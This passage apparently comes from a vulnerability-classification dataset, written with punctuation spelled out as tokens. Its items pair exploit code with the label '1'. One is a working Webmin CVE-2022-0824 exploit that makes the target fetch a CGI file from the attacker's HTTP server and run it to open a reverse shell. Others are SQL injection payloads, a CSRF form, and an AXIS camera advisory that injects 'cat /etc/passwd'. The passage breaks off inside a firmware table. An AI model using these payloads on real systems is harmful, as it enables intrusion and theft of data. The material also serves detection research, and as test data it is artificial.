pyhttp<underscore>server(self):<NEWLINE>print(f<single<underscore>quote>[+] Attempt to host http.server on {self.pyhttp<underscore>port}<backslash>n<single<underscore>quote>)<NEWLINE>os.system(f<single<underscore>quote>(setsid $(which python3) <hyphen>m http.server {self.pyhttp<underscore>port} 0>&1 & ) <single<underscore>quote>)<NEWLINE>print(<single<underscore>quote>[+] Sleep 3 second to ensure http server is up!<single<underscore>quote>)<NEWLINE>time.sleep(3)<NEWLINE>def download<underscore>remote<underscore>url(self):<NEWLINE>download<underscore>url = self.target + <double<underscore>quote><slash>extensions<slash>file<hyphen>manager<slash>http<underscore>download.cgi?module=filemin<double<underscore>quote><NEWLINE>headers = {<NEWLINE><double<underscore>quote>Accept<double<underscore>quote>: <double<underscore>quote>application<slash>json, text<slash>javascript, *<slash>*; q=0.01<double<underscore>quote>,<NEWLINE><double<underscore>quote>Accept<hyphen>Encoding<double<underscore>quote>: <double<underscore>quote>gzip, deflate<double<underscore>quote>,<NEWLINE><double<underscore>quote>Content<hyphen>Type<double<underscore>quote>: <double<underscore>quote>application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded; charset=UTF<hyphen>8<double<underscore>quote>,<NEWLINE><double<underscore>quote>X<hyphen>Requested<hyphen>With<double<underscore>quote>: <double<underscore>quote>XMLHttpRequest<double<underscore>quote>,<NEWLINE><double<underscore>quote>Referer<double<underscore>quote>: self.target + <double<underscore>quote><slash>filemin<slash>?xnavigation=1<double<underscore>quote><NEWLINE>}<NEWLINE>data = {<NEWLINE><single<underscore>quote>link<single<underscore>quote>: <double<underscore>quote>http:<slash><slash><double<underscore>quote> + self.py3http<underscore>server + <double<underscore>quote><slash><double<underscore>quote> + self.fname,<NEWLINE><single<underscore>quote>username<single<underscore>quote>: <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>password<single<underscore>quote>: <single<underscore>quote><single<underscore>quote>,<NEWLINE><single<underscore>quote>path<single<underscore>quote>: self.upload<underscore>path<NEWLINE>}<NEWLINE>r = self.s.post(download<underscore>url, data=data, headers=headers, verify=False, allow<underscore>redirects=True)<NEWLINE>print(f<double<underscore>quote><backslash>n[+] Fetching {self.fname} from http.server {self.py3http<underscore>server}<double<underscore>quote>)<NEWLINE>def modify<underscore>permission(self):<NEWLINE>modify<underscore>perm<underscore>url = self.target + <double<underscore>quote><slash>extensions<slash>file<hyphen>manager<slash>chmod.cgi?module=filemin&page=1&paginate=30<double<underscore>quote><NEWLINE>headers = { <double<underscore>quote>Referer<double<underscore>quote>: self.target + <double<underscore>quote><slash>filemin<slash>?xnavigation=1<double<underscore>quote> }<NEWLINE>data = { <double<underscore>quote>name<double<underscore>quote>: self.fname, <double<underscore>quote>perms<double<underscore>quote>: <double<underscore>quote>0755<double<underscore>quote>, <double<underscore>quote>applyto<double<underscore>quote>: <double<underscore>quote>1<double<underscore>quote>, <double<underscore>quote>path<double<underscore>quote>: self.upload<underscore>path }<NEWLINE>r = self.s.post(modify<underscore>perm<underscore>url, data=data, headers=headers, verify=False, allow<underscore>redirects=True)<NEWLINE>print(f<double<underscore>quote>[+] Modifying permission of {self.fname} to 0755<double<underscore>quote>)<NEWLINE>def exec<underscore>revshell(self):<NEWLINE>url = self.target + <single<underscore>quote><slash><single<underscore>quote> + self.fname<NEWLINE>try:<NEWLINE>r = self.s.get(url, verify=False, allow<underscore>redirects=True, timeout=3)<NEWLINE>except requests.Timeout as e:<NEWLINE>print(TGREEN + f<double<underscore>quote><backslash>n[+] Success: shell spawned to {self.callback<underscore>ip} via port {self.callback<underscore>port} <hyphen> XD<double<underscore>quote>, ENDC)<NEWLINE>print(<double<underscore>quote>[+] Shell location: <double<underscore>quote> + url)<NEWLINE>else:<NEWLINE>print(TRED + f<double<underscore>quote><backslash>n[<hyphen>] Please setup listener first and try again with: nc <hyphen>lvp {self.callback<underscore>port}<double<underscore>quote>, ENDC)<NEWLINE>def do<underscore>cleanup(self):<NEWLINE>print(TCYAN + <single<underscore>quote><backslash>n[+] Cleaning up <single<underscore>quote>)<NEWLINE>print(f<single<underscore>quote>[+] Killing: http.server on port {self.pyhttp<underscore>port}<single<underscore>quote>)<NEWLINE>os.system(f<single<underscore>quote>kill <hyphen>9 $(lsof <hyphen>t <hyphen>i:{self.pyhttp<underscore>port})<single<underscore>quote>)<NEWLINE>exit()<NEWLINE>def run(self):<NEWLINE>self.gen<underscore>payload()<NEWLINE>self.login()<NEWLINE>self.pyhttp<underscore>server()<NEWLINE>self.download<underscore>remote<underscore>url()<NEWLINE>self.modify<underscore>permission()<NEWLINE>self.exec<underscore>revshell()<NEWLINE>self.do<underscore>cleanup()<NEWLINE>if <underscore><underscore>name<underscore><underscore> == <double<underscore>quote><underscore><underscore>main<underscore><underscore><double<underscore>quote>:<NEWLINE>parser = argparse.ArgumentParser(description=<single<underscore>quote>Webmin CVE<hyphen>2022<hyphen>0824 Reverse Shell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>t<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>target<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Target full URL, https:<slash><slash>www.webmin.local:10000<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>c<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>credential<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Format, user:user123<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>LS<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>py3http<underscore>server<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Http server for serving payload, ex 192.168.8.120:8080<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>L<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>callback<underscore>ip<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Callback IP to receive revshell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen>P<single<underscore>quote>, <single<underscore>quote><hyphen><hyphen>callback<underscore>port<single<underscore>quote>, type=str, required=True, help=<single<underscore>quote> Callback port to receive revshell<single<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<double<underscore>quote><hyphen>V<double<underscore>quote>,<single<underscore>quote><hyphen><hyphen>version<single<underscore>quote>, action=<single<underscore>quote>version<single<underscore>quote>, version=<single<underscore>quote>%(prog)s 1.0<single<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>target = args.target<NEWLINE>username = args.credential.split(<single<underscore>quote>:<single<underscore>quote>)[0]<NEWLINE>password = args.credential.split(<single<underscore>quote>:<single<underscore>quote>)[1]<NEWLINE>py3http<underscore>server = args.py3http<underscore>server<NEWLINE>pyhttp<underscore>port = py3http<underscore>server.split(<single<underscore>quote>:<single<underscore>quote>)[1]<NEWLINE>callback<underscore>ip = args.callback<underscore>ip<NEWLINE>callback<underscore>port = args.callback<underscore>port<NEWLINE>upload<underscore>path = <double<underscore>quote><slash>usr<slash>share<slash>webmin<double<underscore>quote><NEWLINE>fname = <double<underscore>quote>revshell.cgi<double<underscore>quote><NEWLINE>pwn = Exploit(target, username, password, py3http<underscore>server, pyhttp<underscore>port, upload<underscore>path, callback<underscore>ip, callback<underscore>port, fname)<NEWLINE>pwn.run()",
45
+ "output": "1"
46
+ },
47
+ {
48
+ "instruction": "please judge the source code for vulnerabilities.",
49
+ "input": "Payload: id=5<single<underscore>quote> AND 3563=3563 AND <single<underscore>quote>HmOW<single<underscore>quote>=<single<underscore>quote>HmOW<NEWLINE>id=5<single<underscore>quote> AND (SELECT 7446 FROM(SELECT<NEWLINE>COUNT(*),CONCAT(0x7178707871,(SELECT<NEWLINE>(ELT(7446=7446,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM<NEWLINE>INFORMATION<underscore>SCHEMA.PLUGINS GROUP BY x)a) AND <single<underscore>quote>rNYc<single<underscore>quote>=<single<underscore>quote>rNYc<NEWLINE>id=5<single<underscore>quote> AND SLEEP(5) AND <single<underscore>quote>KdYd<single<underscore>quote>=<single<underscore>quote>KdYd<NEWLINE>id=<hyphen>1714<single<underscore>quote> UNION ALL SELECT<NEWLINE>NULL,NULL,CONCAT(0x7162787871,0x51487655536a566c616e5156496a6a56426267495670596f644f466f554753504469636d4358694c,0x71766a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL<hyphen><hyphen><NEWLINE>WSZd&t=gallery",
50
+ "output": "1"
51
+ },
52
+ {
53
+ "instruction": "please judge the source code for vulnerabilities.",
54
+ "input": "<form method=<double<underscore>quote>POST<double<underscore>quote> action=<double<underscore>quote>http:<slash><slash>targetIp<slash>CPUCommands<double<underscore>quote>><NEWLINE><input name=<double<underscore>quote>PriNav<double<underscore>quote> value=<double<underscore>quote>Start<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Go!<double<underscore>quote>><NEWLINE><<slash>form>",
55
+ "output": "1"
56
+ },
57
+ {
58
+ "instruction": "please judge the source code for vulnerabilities.",
59
+ "input": "<underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore> <underscore><NEWLINE><slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash> <slash> <backslash><NEWLINE>( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )<NEWLINE><backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash> <backslash><underscore><slash><NEWLINE>www.orwelllabs.com<NEWLINE>security advisory<NEWLINE>olsa<hyphen>2015<hyphen>8257<NEWLINE>PGP: 79A6CCC0<NEWLINE>* Advisory Information<NEWLINE>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector<NEWLINE>(+) Vendor: AXIS Communications<NEWLINE>(+) Research and Advisory: Orwelllabs<NEWLINE>(+) Advisory URL: http:<slash><slash>www.orwelllabs.com<slash>2016<slash>01<slash>axis<hyphen>commucations<hyphen>multiple<hyphen>products.html<NEWLINE>(+) Class: Improper Input Validation [CWE<hyphen>20]<NEWLINE>(+) CVE Name: CVE<hyphen>2015<hyphen>8257<NEWLINE>(+) Remotely Exploitable: Yes<NEWLINE>(+) Locally Exploitable: No<NEWLINE>(+) OLSA<hyphen>ID: OWLL2015<hyphen>8257<NEWLINE>(+) Affected Versions: Multiple Products<slash>Firmwares (check the list bellow)<NEWLINE>(+) IoT Attack Surface: Device Administrative Interface<slash>Authentication<slash>Authorization<NEWLINE>(+) Owasp IoTTop10: I1, I2<NEWLINE>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<NEWLINE>Vulnerability<NEWLINE>+++++++++++++<NEWLINE>AXIS Network Cameras (various models<slash>firmwares) are prone to Authenticated remote<NEWLINE>command execution vulnerability. Exploiting this vulnerability a remote attacker can<NEWLINE>force the execution of certain unauthorized actions, which may lead to further attacks.<NEWLINE>Technical Details<NEWLINE>+++++++++++++++++<NEWLINE>The devtools.sh script is the responsible for vulnerability and it<single<underscore>quote>s 4 attack vectors through the following pages:<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>license<underscore>custom.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>index.shtml?app=<NEWLINE>http:<slash><slash>xxx.xxx.xxx.xxx<slash>app<underscore>params.shtml?app=<NEWLINE>An attacker can use the app parameter that waits for the name of a<NEWLINE>legitimate application to inject commands in the operating system using<NEWLINE><double<underscore>quote>%3B<double<underscore>quote>, for example, to read the contents of <slash>etc<slash>passwd:<NEWLINE>http: <slash><slash><NEWLINE>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<NEWLINE>The data entered in parameter <double<underscore>quote>app =<double<underscore>quote> is passed without any treatment for<NEWLINE>devtools.sh script located at: {HTMLROOL}<slash>bin<slash>devtools.sh<NEWLINE>This script contains several functions, namely:<NEWLINE>list()<NEWLINE>status()<NEWLINE>menulist()<NEWLINE>mainpagelink()<NEWLINE>SETTINGSLINK()<NEWLINE>confvariable()<NEWLINE>echo<underscore>ssivar<underscore>licensekey()<NEWLINE>load<underscore>auto<underscore>inst<underscore>form()<NEWLINE>When these functions are invoked, they interact with the parameters passed<NEWLINE>by the web application through<NEWLINE>the affected scripts (e.g. ap<underscore>license.shtml? App =). By injecting the code<NEWLINE>below:<NEWLINE>http: <slash><slash><NEWLINE>xxx.xxx.xxx.xxx<slash>app<underscore>license.shtml?app=ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<NEWLINE>The value passed in <double<underscore>quote>app<double<underscore>quote> will be passed directly to the script invoking<NEWLINE>devtools.sh via shell <hyphen>c as shown in the listing process below (third line<NEWLINE>invoking confvariable function):<NEWLINE>[SNIP]<NEWLINE>2039 led 25472 S <slash>usr<slash>bin<slash>enldgts <hyphen>n<NEWLINE>12014 root 0 SW [kworker<slash>0:0]<NEWLINE>13178 root 2548 S <slash>bin<slash>sh <hyphen>c <slash>usr<slash>html<slash>bin<slash>devtools.sh<NEWLINE>confvariable ORW..<NEWLINE>13183 root 2728 R ps <hyphen>aux PACKAGENAME<NEWLINE>13312 root 0 SW [kworker<slash>3:1]<NEWLINE>13320 root 0 SW [kworker<slash>2:0]<NEWLINE>[SNIP]<NEWLINE>The value <double<underscore>quote>ORWELLLABS%3Bcat%20<slash>etc<slash>passwd<double<underscore>quote> is then passed on to the<NEWLINE>corresponding function (after passing through a conference on <double<underscore>quote>confvariable<NEWLINE>()<double<underscore>quote>).<NEWLINE>confvariable() {<NEWLINE>local val=<NEWLINE>if [ <hyphen>r <double<underscore>quote>$PACKAGE<underscore>DIRECTORY<slash>$1<slash>$ADPPACKCFG<double<underscore>quote> ]; then<NEWLINE>. <double<underscore>quote>$PACKAGE<underscore>DIRECTORY<slash>$1<slash>$ADPPACKCFG<double<underscore>quote> || :<NEWLINE>eval val=<backslash>$$2<NEWLINE>echo $val<NEWLINE>fi<NEWLINE>}<NEWLINE>Then enter the function <double<underscore>quote>menulist ()<double<underscore>quote> which we see the main stretch located<NEWLINE>between the lines 127 and 143:<NEWLINE>[SNIP]<NEWLINE>127 [ <double<underscore>quote>$ name<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ activeMenu1 = $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null,<NEWLINE>128 [<NEWLINE>129 [ <double<underscore>quote>Settings<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = param<underscore> $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><! <hyphen><NEWLINE>130 EOF<NEWLINE>131 if [<hyphen>z <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote>] || [ <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote> axis =]; Then<NEWLINE>132 cat << <hyphen> EOF<NEWLINE>133 [ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = license<underscore> $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><! <hyphen><NEWLINE>134 EOF<NEWLINE>135 fi<NEWLINE>136 if [ <double<underscore>quote>$ LICENSEPAGE<double<underscore>quote> = custom] && [<hyphen>r <double<underscore>quote>$ HTMLROOT <slash> local <slash> $ APPNAME <slash><NEWLINE>license.inc<double<underscore>quote>]; Then<NEWLINE>137 cat << <hyphen> EOF<NEWLINE>138 [ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license<underscore>custom.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <!<NEWLINE><hyphen><NEWLINE>false <! <hyphen><NEWLINE>139 EOF<NEWLINE>140 fi<NEWLINE>141 if [<hyphen>r <double<underscore>quote>$ HTMLROOT <slash> local <slash> $ APPNAME <slash> about.inc<double<underscore>quote>]; Then<NEWLINE>142 cat << <hyphen> EOF<NEWLINE>143 [ <double<underscore>quote>About<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>index.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = $ APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null, []],<NEWLINE>Where the important lines are the menus below:<NEWLINE><slash>bin<slash>devtools.sh (127):<NEWLINE>[ <double<underscore>quote>$ Name<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>= <double<underscore>quote><backslash> $ activeMenu1 = $ APPNAME<double<underscore>quote> <hyphen>> true <hyphen>> false <! <hyphen><NEWLINE><slash>bin<slash>devtools.sh (129):<NEWLINE>[ <double<underscore>quote>Settings<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>params.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = param<underscore> <hyphen>> true <! <hyphen><NEWLINE><hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (133):<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>expr = <double<underscore>quote><backslash> $ ActivePage = License<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE><hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (138):<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license<underscore>custom.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE>If expr = <double<underscore>quote><backslash> $ ActivePage = APPNAME<double<underscore>quote> <hyphen>> true <! <hyphen><NEWLINE>endif <hyphen>>, null, []],<NEWLINE><slash>bin<slash>devtools.sh (143):<NEWLINE>[ <double<underscore>quote>About<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>index.shtml<double<underscore>quote>, <double<underscore>quote>app = $ APPNAME &<double<underscore>quote> hostA, <! <hyphen><NEWLINE><double<underscore>quote><backslash> $ ActivePage = $ APPNAME<double<underscore>quote> <hyphen><NEWLINE>In PoC presented above, the payload will be triggered in line vector 133 of<NEWLINE>devtools script ( <double<underscore>quote>License<double<underscore>quote> menu) that will:<NEWLINE>[ <double<underscore>quote>License<double<underscore>quote>, <double<underscore>quote><slash>app<underscore>license.shtml<double<underscore>quote>, <double<underscore>quote>app = ORWELLLABS% 3Bcat% 20<NEWLINE><slash>etc<slash>passwd& <double<underscore>quote>HostA, <! <hyphen><NEWLINE><hyphen><NEWLINE>And when executed echoes the results on the page.<NEWLINE>Impact<NEWLINE>++++++<NEWLINE>The impact of this vulnerability is that taking into account the busybox<NEWLINE>that runs behind (and with root privileges everywhere. in all the binaries<NEWLINE>and scripts) is possible to execute arbitrary commands, create backdoors,<NEWLINE>performing a reverse connection to the machine attacker, use this devices<NEWLINE>as botnets and DDoS amplification methods... the limit is the creativity of<NEWLINE>the attacker.<NEWLINE>Affected Products<NEWLINE>+++++++++++++++++<NEWLINE>Multiple Axis Communications Products<slash>Firmware including:<NEWLINE>* AXIS Q6032<hyphen>E<slash>Q6034<hyphen>E<slash>Q6035<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.41.1.4<NEWLINE>* AXIS Q6042<hyphen>E<slash>Q6044<hyphen>E<slash>Q6045<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.70.1.2<NEWLINE>* AXIS A8004<hyphen>VE Network Video Door Station <hyphen><NEWLINE>Firmware 5.85.1.1<NEWLINE>* AXIS P3384 fixed dome Network camera <hyphen><NEWLINE>Firmware 6.10.1<NEWLINE>* AXIS P5532<hyphen>E PTZ Dome Network Camera <hyphen><NEWLINE>Firmware 5.41.3.1<NEWLINE>* AXIS Q60<hyphen>E Network Dome PTZ <hyphen><NEWLINE>Firmware 5.65.1.1, 5.41.*, 5.70.1.1<NEWLINE>* AXIS Q7401 Video Encoder <hyphen><NEWLINE>Firmware 5.50.4<NEWLINE>* AXIS Q7404 Video Encoder <hyphen><NEWLINE>Firmware 5.50.4.*<NEWLINE>* AXIS Q7406 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.51.2<NEWLINE>* AXIS Q7411 Video Encoder <hyphen><NEWLINE>Firmware 5.90.1<NEWLINE>* AXIS Q7414 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.51.2<NEWLINE>* AXIS Q7424<hyphen>R Video Encoder <hyphen><NEWLINE>Firmware 5.50.4<NEWLINE>* AXIS Q7424<hyphen>R Mk II Video Encoder <hyphen><NEWLINE>Firmware 5.51.3<NEWLINE>* AXIS Q7436 Blade Video Encoder <hyphen><NEWLINE>Firmware 5.90.1<NEWLINE>The list bellow shows the firmwares affected (and probably these firmwares<NEWLINE>are not available anymore, but just the last version of them, if you not<NEWLINE>sure, check the hash). All these firmwares (in the second column) has the<NEWLINE>same <double<underscore>quote>devtools.sh<double<underscore>quote> shellscript (responsible for trigger the RCE<NEWLINE>vulnerability) embedded. The script can be found on directory:<NEWLINE><double<underscore>quote>{HTMLROOT}<slash>bin<slash>devtools.sh<double<underscore>quote>.<NEWLINE>========================================================================<NEWLINE>PRODUCT FIRMWARE FIRMWARE HASH<NEWLINE>========================================================================<NEWLINE>AXIS A8004<hyphen>VE 5.85.1.1 e666578d7fca54a7db0917839187cd1a<NEWLINE>AXIS A8004<hyphen>VE 5.85.1 50f114d1169f6fe8dbdadd89ad2e087d<NEWLINE>AXIS F34 5.85.3 7a6ed55038edd8a2fc0f676fb8a04b10<NEWLINE>AXIS F41 5.85.3 8a089a51a0ecd63543c7883c76db7921<NEWLINE>AXIS F44 5.85.3 9e3b05625cfe6580ca3e41c5415090e7<NEWLINE>AXIS M1013 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12<NEWLINE>AXIS M1014 5.50.5.4 231cdd7ba84a383ba7f2237612b1cc12<NEWLINE>AXIS M1025 5.50.5.4 90d59c56171402828fceb7d25b18be2e<NEWLINE>AXIS M1033<hyphen>W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841<NEWLINE>AXIS M1034<hyphen>W 5.50.5.4 7b96dd594f84fc8c3a4a3ab650434841<NEWLINE>AXIS M1054 5.50.3.4 39e279aa2c462e9ec01c7b90f698f76a<NEWLINE>AXIS M1103 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1104 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1113 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1114 5.50.3 c10243b05fe30655ded7a12b998dbf5e<NEWLINE>AXIS M1124 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928<NEWLINE>AXIS M1125 5.75.3.3 f53e0ada9f2e54d2717bf8ad1c7a5928<NEWLINE>AXIS M1143<hyphen>L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b<NEWLINE>AXIS M1144<hyphen>L 5.60.1.5 367aab0673fc1dec0b972fd80a62e75b<NEWLINE>AXIS M1145 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7<NEWLINE>AXIS M1145<hyphen>L 5.90.1 ece8f4ccd9d24a01d382798cb7e4a7c7<NEWLINE>AXIS M2014 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS M3004 5.50.5.4 d65545ef6c03b33b20bf1a04e8216a65<NEWLINE>AXIS M3005 5.50.5.4 b461fb6e6aab990d3650b48708cee811<NEWLINE>AXIS M3006 5.70.1.2 b2864dcf48ac83053ba4516a2bda535e<NEWLINE>AXIS M3007 5.75.1.1 a0cc2e9a6ddad758b16f7de518080f70<NEWLINE>AXIS M3014 5.40.9.5 01d8917c9e60dde7741c4a317044b2f7<NEWLINE>AXIS M3024<hyphen>LVE 5.50.5.4 0b91bb66d37e208e130c7eb25099817b<NEWLINE>AXIS M3025<hyphen>VE 5.50.5.4 751f776668d340edf4149dc116ce26c6<NEWLINE>AXIS M3026 5.70.1.2 3e78ce4badf994f6d10c5916b6d5513d<NEWLINE>AXIS M3027 5.75.1.1 6d377ea9ea99068e910b416ccc73d8ca<NEWLINE>AXIS M3037 5.75.1.1 ef69c662079018e19e988663ad1fc509<NEWLINE>AXIS M3113<hyphen>R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3113<hyphen>VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3114<hyphen>R 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3114<hyphen>VE 5.40.9.4 8d3eac43ad5c23626b75d5d7c928e29d<NEWLINE>AXIS M3203 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61<NEWLINE>AXIS M3204 5.50.3.1 7da467702db8b0e57ea5d237bd10ab61<NEWLINE>AXIS M5013 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205<NEWLINE>AXIS M5014 5.50.3.1 9183b9ac91c3c03522f37fce1e6c2205<NEWLINE>AXIS M7010 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d<NEWLINE>AXIS M7011 5.90.1 362658a55d4f2043ed435c72588bd7e7<NEWLINE>AXIS M7014 5.50.4.1 84f618087151b0cc46398a6e0c6ebc0d<NEWLINE>AXIS M7016 5.51.2.3 b3de957bbca166f145969a6884050979<NEWLINE>AXIS P1204 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1214 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1224 5.50.6 3ffe1a771565b61567f917621c737866<NEWLINE>AXIS P1343 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60<NEWLINE>AXIS P1344 5.40.9.8 9bbd08a92881b1b07e9f497a436b6a60<NEWLINE>AXIS P1346 5.40.9.6 c89ee1e7c54b4728612277e18be1c939<NEWLINE>AXIS P1347 5.40.9.6 f0f95768e367c3a2a8999a0bd8902969<NEWLINE>AXIS P1353 5.60.1.5 0f59d0e34301519908754af850fdfebb<NEWLINE>AXIS P1354 5.90.1 120c230067b7e000fa31af674f207f03<NEWLINE>AXIS P1355 5.60.1.5 5dbec1d7b8b6f337581da6ec668a9aad<NEWLINE>AXIS P1357 5.90.1 d83472c4d545763e5b05cd6d0c63430f<NEWLINE>AXIS P1364 5.85.4 2db00322be0b8c939c89fe4f3e0fd67d<NEWLINE>AXIS P1365 5.75.3.2 1eba3426b2046e696d80ea253fe5e9b6<NEWLINE>AXIS P1405 5.80.1.1 4db97061feb3cf91eb0cded516f9c5af<NEWLINE>AXIS P1425 5.80.1.1 e9213ed81dc68f07c854a990889995ba<NEWLINE>AXIS P1427 5.80.1.1 dfe4cd28b929e78d42e8fc8c98616a7c<NEWLINE>AXIS P1428<hyphen>E 5.80.1.1 7a65a0b0e4050824de0d46a1725ad0ea<NEWLINE>AXIS P1435 5.85.4.1 219467e77dcb3195d7203a79ecd30474<NEWLINE>AXIS P3214 6.10.1 00fca61c0a97dfc5e670a308cbda14d4<NEWLINE>AXIS P3215 6.10.1 00fca61c0a97dfc5e670a308cbda14d4<NEWLINE>AXIS P3224 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6<NEWLINE>AXIS P3225 6.10.1.1 5fae8852b7790cf6f66bb2356c60acd6<NEWLINE>AXIS P3301 5.40.9.4 27b7a421f7e3511f3a4b960c80b42c56<NEWLINE>AXIS P3304 5.40.9.4 df9e2159c4eadf5e955863c7c5691b1a<NEWLINE>AXIS P3343 5.40.9.8 dd752099f8b2c48b91914ec32484f532<NEWLINE>AXIS P3344 5.40.9.8 dd752099f8b2c48b91914ec32484f532<NEWLINE>AXIS P3346 5.50.3.1 d30498356187ba44f94f31398b04a476<NEWLINE>AXIS P3353 5.60.1.4 fa4924480563924a0365268f8eef8864<NEWLINE>AXIS P3354 6.10.1 d2f317d88dea1f001ce8151106e0322b<NEWLINE>AXIS P3363 5.60.1.5 4b3175a30893a270e5dca8fc405b5d7e<NEWLINE>AXIS P3364 6.10.1 6128c6ba026a68a5759b08971504807e<NEWLINE>AXIS P3365 6.10.1 f26b0616c595622abb17ce4411dee2b2<NEWLINE>AXIS P3367 6.10.1 8dad67aae2ffaee6fb147d6942476f00<NEWLINE>AXIS P3384 6.10.1 138ff1bdc97d025f8f31a55e408e2a1d<NEWLINE>AXIS P3904<hyphen>R 5.80.1 